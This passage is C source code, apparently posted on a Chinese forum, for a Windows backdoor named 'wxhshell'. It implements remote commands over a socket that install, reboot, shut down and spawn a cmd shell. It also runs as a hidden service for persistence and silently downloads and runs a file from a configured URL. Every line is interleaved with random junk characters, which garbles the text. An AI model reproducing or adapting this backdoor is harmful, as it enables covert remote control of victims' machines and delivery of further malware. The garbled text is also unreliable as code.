      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %K=_  
    break; #639N9a~  
  } X6(s][Wn  
  // 安装 8HZ+r/j  
  case 'i': { h~CLJoK<  
    if(Install()) X's<+hK&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-Bx`e9'  
    else Uey'c1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (dQ=i  
    break; ZMiOKVl  
    } [.Kp/,JY  
  // 卸载 UuF(n$B  
  case 'r': { z5~W >r  
    if(Uninstall()) pWv1XTs@t:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aH @-"Wi  
    else yf8kBT:&S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )i[Vq|n  
    break; YOrq)_ l  
    } Fzt?M  
  // 显示 wxhshell 所在路径 ZE_  
  case 'p': { o59$v X,  
    char svExeFile[MAX_PATH]; mb1c9  
    strcpy(svExeFile,"\n\r"); <Up ?w/9  
      strcat(svExeFile,ExeFile); r;[=y<Yf  
        send(wsh,svExeFile,strlen(svExeFile),0); #)]t4wa_W  
    break; T{f$S  
    } k1zK3I&c_  
  // 重启 B {:a,V7  
  case 'b': { ~gMt U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rJCb8x+5a  
    if(Boot(REBOOT)) rvd%z7Z1o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !3mt<i]a"  
    else { #C?M-  
    closesocket(wsh); hKWWN`;b !  
    ExitThread(0); =EA:fq  
    } %Pt){9b  
    break; /}L2LMIm  
    } &TA{US3~  
  // 关机 ]Zc|<f;  
  case 'd': { x(eX.>o\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^IIy>  
    if(Boot(SHUTDOWN)) v}V[sIs}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nM b@  B  
    else { l$EN7^%w  
    closesocket(wsh); "opMS/a"7  
    ExitThread(0); dpNERc5  
    } p@4GI[4  
    break; 0NC70+4L  
    } 7dACbqba  
  // 获取shell pb)8?1O|s  
  case 's': { (?JdiY/  
    CmdShell(wsh); bDtb6hL  
    closesocket(wsh); ,%l}TSs  
    ExitThread(0); >,]8iMh  
    break; *tEqu%N1'  
  } +>vKI8g*RH  
  // 退出 * zyik[o  
  case 'x': { )hj:Xpj9#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E BBd  
    CloseIt(wsh); 4m1r@ $  
    break; Cgh84 2%  
    } NE8W--Cg|  
  // 离开 tB,(12@W  
  case 'q': {  sTlel&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ja';NIO-  
    closesocket(wsh); !@8i(!xb  
    WSACleanup(); VK1B}5/  
    exit(1); z^Ikb(KC  
    break; KbvMp1'9P  
        } Z CPUNtOl  
  } fTvm2+.nX  
  } X V;j6g  
`a|&aj0  
  // 提示信息 !.$L=>:V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A&~fw^HM  
} TxP +?1t  
  } <L#d <lx  
}>u `8'2v  
  return; H%>4z3n   
} y@!o&,,mq  
~:bdS 4w  
// shell模块句柄 }A24;'}  
int CmdShell(SOCKET sock) M] /aW  
{ X4!7/&  
STARTUPINFO si; Rxd4{L )n  
ZeroMemory(&si,sizeof(si)); )&7. E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^Q$OzsEk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "yaxHd  
PROCESS_INFORMATION ProcessInfo; SXOAa<u5  
char cmdline[]="cmd"; PLc5m5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D @*<O=_D(  
  return 0; f;zNNx< ;  
} m3lz#Pm'0  
.=#j dc/  
// 自身启动模式 Zg(Y$ h\  
int StartFromService(void) v CaN[  
{ UGhEaKH~R  
typedef struct [c 8=b,EI  
{ H,X|-B  
  DWORD ExitStatus; 0Lxz?R x]<  
  DWORD PebBaseAddress; 8v& \F  
  DWORD AffinityMask; rXX>I;`&  
  DWORD BasePriority; D'#Q`H  
  ULONG UniqueProcessId; 5h#h>0F  
  ULONG InheritedFromUniqueProcessId; .w.:o2L  
}   PROCESS_BASIC_INFORMATION; LJ(WU)CPc  
= (F   
PROCNTQSIP NtQueryInformationProcess; -o6rY9\_!  
:BF? r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [fa4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A>yU0\A  
l:!L+t*}6  
  HANDLE             hProcess; w!7\wI[  
  PROCESS_BASIC_INFORMATION pbi; Y7VO:o  
YzI;)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D%YgS$p[M$  
  if(NULL == hInst ) return 0; MCT1ZZpPr  
r<e%;S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5XZ! yYB?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @%R<3!3v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '+cI W(F?  
y~ =H`PAE  
  if (!NtQueryInformationProcess) return 0; `um,S  
Yv;s3>r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lrT2*$ w3  
  if(!hProcess) return 0; )S)L9('IxT  
?0VR2Yb${b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yJm"vN  
aKbmj  
  CloseHandle(hProcess); %T{]l;5  
HB/V4ki  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WVbrbs4  
if(hProcess==NULL) return 0; fSuykbZ  
7Gc{&hp*  
HMODULE hMod; \c}(rqT  
char procName[255]; >d2Fa4u3  
unsigned long cbNeeded; 5~JT*Ny  
H$(bSw$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zN4OrG 0  
EiW|+@1  
  CloseHandle(hProcess); /fr>Fd  
u]J@65~'b  
if(strstr(procName,"services")) return 1; // 以服务启动 *x"80UXL  
;Ba%aaHl  
  return 0; // 注册表启动 $"^K~5Q  
} 86r5!@WN  
KQdIG9O+6  
// 主模块 <$(B[T  
int StartWxhshell(LPSTR lpCmdLine) ^/2I)y]W0  
{ /8cRPB.  
  SOCKET wsl; 0M_oFx  
BOOL val=TRUE; x<NPp&GE  
  int port=0; BX@Iq  
  struct sockaddr_in door; Tu#< {'1$  
g7*)|FOb  
  if(wscfg.ws_autoins) Install(); yw3"jdcl  
a:h<M^n049  
port=atoi(lpCmdLine); |"3<\$[  
7;"0:eX  
if(port<=0) port=wscfg.ws_port; 11[lc2  
}{o !  
  WSADATA data; ?{{w[U6NE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |cPHl+$nh.  
o\IMYT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u epyH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qLN^9PdEE  
  door.sin_family = AF_INET; ,5}U H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B`5<sW  
  door.sin_port = htons(port); g`7XE  
J!6FlcsZm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ggr  
closesocket(wsl); FK|O^- >B  
return 1; `2s!%/  
} +K57. n{  
_u`YjzK  
  if(listen(wsl,2) == INVALID_SOCKET) { Mqf Ns<2  
closesocket(wsl); ^mS |ff  
return 1; 'y8{, R4C  
} kI{DxuTad  
  Wxhshell(wsl); 4q$~3C[  
  WSACleanup(); `@]s[1?f  
Zp_(vOc  
return 0; d2 ^}ooE  
RU)35oEV|  
} Y?VbgOM)  
{f!/:bM  
// 以NT服务方式启动 ie}O ZM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5,RUPaE  
{ R?2sbK4Cz  
DWORD   status = 0; GF'wDi}  
  DWORD   specificError = 0xfffffff; 'Ts:.  
qS!r<'F3dP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )?L=o0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  `zwz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .J"N}  
  serviceStatus.dwWin32ExitCode     = 0; 3dShznlf_*  
  serviceStatus.dwServiceSpecificExitCode = 0; fV(3RG  
  serviceStatus.dwCheckPoint       = 0; Lpchla$  
  serviceStatus.dwWaitHint       = 0; pJpapA2l*6  
jcH@*c=%e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .1x04Np!  
  if (hServiceStatusHandle==0) return; ^rkKE dd  
PxHFH pL  
status = GetLastError(); !Brtao"m  
  if (status!=NO_ERROR) fCl}eXg6w  
{ ]Z JoC!u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DHidI\*gT  
    serviceStatus.dwCheckPoint       = 0; (JhX:1  
    serviceStatus.dwWaitHint       = 0; N0U/u'J!g  
    serviceStatus.dwWin32ExitCode     = status; X'9.fKp  
    serviceStatus.dwServiceSpecificExitCode = specificError; X|M!Nt0'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E-MPFL  
    return; +jN}d=N-  
  } !XA3G`}p6s  
x%P|T3Qy5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "(koR Q  
  serviceStatus.dwCheckPoint       = 0; Gn]36~)*H  
  serviceStatus.dwWaitHint       = 0; }kbSbRH43  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -+9[X*VCc  
} adON&<  
bQll;U^A  
// 处理NT服务事件,比如:启动、停止 ?Cq7_rq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ntiS7g e1  
{ ZO}Og&%  
switch(fdwControl) #m+!<  
{ l{3B }_,  
case SERVICE_CONTROL_STOP: t<%0eu|  
  serviceStatus.dwWin32ExitCode = 0; uFd$*`jS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q^@*{H  
  serviceStatus.dwCheckPoint   = 0; yoi4w 7:  
  serviceStatus.dwWaitHint     = 0; LHAlXo;  
  { :NzJvI<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?I.9?cQXZ  
  } x^f<G 6z  
  return; FB=oGgwwq  
case SERVICE_CONTROL_PAUSE: R{hX--|j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bIKg>U'5d  
  break; od;-D~  
case SERVICE_CONTROL_CONTINUE: JuRoeq.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'Pz%c}hJ  
  break; ]AP1+ &9fN  
case SERVICE_CONTROL_INTERROGATE: GnV0~?  
  break; Pg4&}bX:I  
}; ,CO2d)}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vG&>- Z  
} yev!Nw  
Vla,avON  
// 标准应用程序主函数 IS C.~q2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B.<SC  
{ ~PQ.l\C  
NGra/s,9 |  
// 获取操作系统版本 N&8TG  
OsIsNt=GetOsVer(); lwnO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }ze+ tf  
XLpP*VH3  
  // 从命令行安装 [)H 6`w  
  if(strpbrk(lpCmdLine,"iI")) Install(); t@RYJmW  
St=nf\P&F  
  // 下载执行文件 ;%|im?  
if(wscfg.ws_downexe) { ;D5>iek5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fBO/0uW  
  WinExec(wscfg.ws_filenam,SW_HIDE); y48]|%73  
} Jx*cq;`Vee  
ia6 jiW x  
if(!OsIsNt) { t2&kGf"  
// 如果时win9x,隐藏进程并且设置为注册表启动 S"Al [{  
HideProc(); ;yH>A ;,K%  
StartWxhshell(lpCmdLine); 337.' |ZE  
} *[MWvs:,  
else uL'f8Pqg  
  if(StartFromService()) 0SpB 2>_  
  // 以服务方式启动 570Xk\R@M  
  StartServiceCtrlDispatcher(DispatchTable); ~{x1/eH  
else I?KN7(9u?  
  // 普通方式启动 #ydold{F  
  StartWxhshell(lpCmdLine); 5f0M{J,KC  
5zuwqOD*  
return 0; n}p G&&;q  
}
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只看该作者 1 发表于: 2006-10-10
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